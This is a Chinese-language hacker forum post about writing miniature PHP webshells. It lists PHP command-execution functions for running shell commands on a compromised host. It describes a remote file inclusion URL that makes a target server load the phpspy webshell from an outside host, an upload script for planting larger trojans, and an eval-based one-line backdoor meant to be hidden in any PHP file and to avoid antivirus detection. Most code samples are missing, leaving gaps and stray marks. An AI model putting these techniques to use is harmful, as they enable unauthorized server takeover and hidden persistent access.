本文沒有什么特別之處,僅求拋磚引玉。并送給和我一樣菜的在PHP門邊徘徊的朋友。剛學PHP沒幾天,我就急于功成,所以有錯誤及不足之處請大家積極指出。
PHP語法的強大是ASP望塵莫及的,僅一個: phpinfo();?>就可以刺探整個服務器的配置。運行cmd,上傳文件等,都是非常簡便的,現在用的好的PHP木馬,莫過于angel的phpspy了。昨天hak_ban問怎么給PHP木馬加密,我還沒想到,但是對于寫一個微型PHP木馬,我想還是很難被殺的。
這里簡單探討一下幾個函數可以作為木馬的使用:
1. 可以運行外部命令的幾個函數:system,passthru,exec,shell_exec,popen。
例:只要將等保存為cmd.php及可實現運行外部命令的功能。這幾個函數可以說是最早的微行php木馬了,所以一般虛擬主機的設置也會將這些函數屏蔽的。
2.還記得WDB論壇的style.php的漏洞嗎?我們可以利用這個做個很難被殺的小木馬。如下:
|
將其保存為1.php,我們就可以調用其他不支持php服務器里的.php木馬(如phpspy.php)來達到我們的目的:http://target.com/1.php? Include=http://www.xxx.com/phpspy.php
這里http://www.918x.com是不支持php的,否則將會在http://www.xxx.com這臺服務器運行phpspy.php,而不是目標服務器。
3. 這個還是angel在Discuz 2.2F的攻擊中給我們的一個非常好的上傳木馬,我沒有改:
|
將其保存為up.php后,在本地提交表單:
|
就可以把大個的php木馬上傳上去。
4. 我一直在想有沒有同冰狐浪子的那個ASP一句話木馬一樣通過本地表單提交運行的PHP木馬。終于找到了函數:eval,在PHP4中文參考手冊上它的語法說明:
語法:
|
內容說明:本函數可將字符串之中的變量值代入,通常用在處理數據庫的資料上。參數 code_str 為欲處理的字符串。值得注意的是待處理的字符串要符合 PHP 的字符串格式,同時在結尾處要有分號。使用本函數處理后的字符串會沿續到 PHP 程序結束。
我們可以在目標主機上保存:為一個PHP文件(我想也可以插在PHP任意文件里)。然后通過本地提交來達到目的,但與ASP不同的是,在magic_quotes_gpc = on的時候,過濾的很多的字符,使得這個使用功能大大的縮小。
對于這個PHP木馬本地表單我做了很多次,還沒有成熟的代碼。還請高手指教。寫好后會奉獻給大家的。但是eval這個函數可以做微型PHP木馬是無須質疑的。
PS:寫完后,有人告訴我,其實高手早就有微型的PHP木馬了,只是沒有公開。哎,我好郁悶啊,研究的都是人家早就有了的成果。不管怎么樣,和大家分享一下我的研究,希望能得到幫助和指教。